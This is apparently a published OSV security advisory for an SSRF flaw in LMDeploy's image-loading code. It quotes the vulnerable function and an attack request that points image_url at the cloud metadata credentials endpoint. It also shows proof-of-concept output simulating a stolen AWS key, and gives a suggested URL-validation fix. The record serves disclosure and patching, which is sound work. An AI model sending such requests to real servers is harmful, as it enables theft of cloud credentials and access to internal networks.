{"id":"PYSEC-2026-2607","summary":"LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading","details":"## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -\u003e Image.Image:\n    # ...\n    if image_url.startswith('http'):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n╔═══════════════════════════════════════════════════════════════════════╗\n║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║\n╚═══════════════════════════════════════════════════════════════════════╝\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n✅ SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),\n    ipaddress.ip_network('10.0.0.0/8'),\n    ipaddress.ip_network('172.16.0.0/12'),\n    ipaddress.ip_network('192.168.0.0/16'),\n    ipaddress.ip_network('169.254.0.0/16'),\n]\n\ndef is_safe_url(url: str) -\u003e bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in ('http', 'https'):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security's research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security","aliases":["CVE-2026-33626","GHSA-6w67-hwm5-92mq"],"modified":"2026-07-13T16:32:04.931499046Z","published":"2026-07-13T15:02:52.394411Z","references":[{"type":"WEB","url":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33626"},{"type":"WEB","url":"https://github.com/InternLM/lmdeploy/pull/4447"},{"type":"WEB","url":"https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"},{"type":"PACKAGE","url":"https://github.com/InternLM/lmdeploy"},{"type":"WEB","url":"https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"},{"type":"PACKAGE","url":"https://pypi.org/project/lmdeploy"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6w67-hwm5-92mq"}],"affected":[{"package":{"name":"lmdeploy","ecosystem":"PyPI","purl":"pkg:pypi/lmdeploy"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.12.2"}]}],"versions":["0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.1.0","0.10.0","0.10.1","0.10.2","0.11.0","0.11.1","0.12.0","0.12.1","0.12.2","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.3.0","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.2.post1","0.5.3","0.6.0","0.6.0a0","0.6.1","0.6.2","0.6.2.post1","0.6.3","0.6.4","0.6.5","0.7.0","0.7.0.post1","0.7.0.post2","0.7.0.post3","0.7.1","0.7.2","0.7.2.post1","0.7.3","0.8.0","0.9.0","0.9.1","0.9.2","0.9.2.post1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/lmdeploy/PYSEC-2026-2607.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}